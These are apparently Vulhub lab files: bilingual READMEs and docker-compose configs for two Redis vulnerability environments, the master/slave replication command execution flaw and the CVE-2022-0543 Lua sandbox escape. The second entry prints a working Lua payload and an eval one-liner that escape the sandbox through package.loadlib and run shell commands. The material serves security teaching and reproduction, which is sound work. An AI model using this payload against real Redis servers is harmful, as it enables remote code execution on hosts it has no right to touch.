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# Redis Post Exploitation Due to Master and Slave Synchronisation
[中文版本(Chinese version)](README.zh-cn.md)
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.
Redis which version starts from 4.0, prior to 5.0.5, can be exploit through the synchronisation between master and slave by an authenticated visitor.
Reference:
- <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>
## Vulnerability Environment
Execute following command to start a Redis server 4.0.14:
```
docker compose up -d
```
After server is started, you can connect to this server without credentials by `redis-cli`:
```
redis-cli -h your-ip
```
## Exploit
Use [this script](https://github.com/vulhub/redis-rogue-getshell) to execute arbitrary commands:
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# Redis 4.x/5.x 主从复制导致的命令执行
Redis是著名的开源Key-Value数据库其具备在沙箱中执行Lua脚本的能力。
Redis未授权访问在4.x/5.0.5以前版本下我们可以使用master/slave模式加载远程模块通过动态链接库的方式执行任意命令。
参考链接:
- <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>
## 环境搭建
执行如下命令启动redis 4.0.14
```
docker compose up -d
```
环境启动后,通过`redis-cli -h your-ip`即可进行连接,可见存在未授权访问漏洞。
## 漏洞复现
使用[这个POC](https://github.com/vulhub/redis-rogue-getshell)即可直接执行命令:
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version: '2'
services:
redis:
image: vulhub/redis:4.0.14
ports:
- "6379:6379"

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# Redis Lua Sandbox Escape and Remote Code Execution (CVE-2022-0543)
[中文版本(Chinese version)](README.zh-cn.md)
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.
Reginaldo Silva discovered that due to a packaging issue on Debian/Ubuntu, a remote attacker with the ability to execute arbitrary Lua scripts could possibly escape the Lua sandbox and execute arbitrary code on the host.
References:
- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>
## Vulnerability Environment
Execute following command to start a redis server 5.0.7 on Ubuntu:
```
docker compose up -d
```
After server is started, you can connect to this server without credentials by `redis-cli`:
```
redis-cli -h your-ip
```
## Exploit
This vulnerability existed because the Lua library in Debian/Ubuntu is provided as a dynamic library. A `package` variable was automatically populated that in turn permitted access to arbitrary Lua functionality.
As this extended to, for example, you can use `package.loadlib` to load the modules from liblua, then use this module to execute the commands:
```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```
Noted that you should specify a correct realpath for the `liblua` library. In this Vulhub environment (Ubuntu focal), the value is `/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`.
Eval this script in redis shell:
```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```
Execute the commands successful:
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# Redis Lua沙盒绕过命令执行CVE-2022-0543
Redis是著名的开源Key-Value数据库其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时不慎在Lua沙箱中遗留了一个对象`package`攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数进而逃逸沙箱执行任意命令。
参考链接:
- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>
## 漏洞环境
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:
```
docker compose up -d
```
服务启动后,我们可以使用`redis-cli -h your-ip`连接这个redis服务器。
## 漏洞复现
我们借助Lua沙箱中遗留的变量`package``loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数即可获得`io`库,再使用其执行命令:
```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```
值得注意的是不同环境下的liblua库路径不同你需要指定一个正确的路径。在我们Vulhub环境Ubuntu fiocal这个路径是`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`
连接redis使用`eval`命令执行上述脚本:
```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```
可见命令已成功执行:
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version: '2'
services:
redis:
image: vulhub/redis:5.0.7
ports:
- "6379:6379"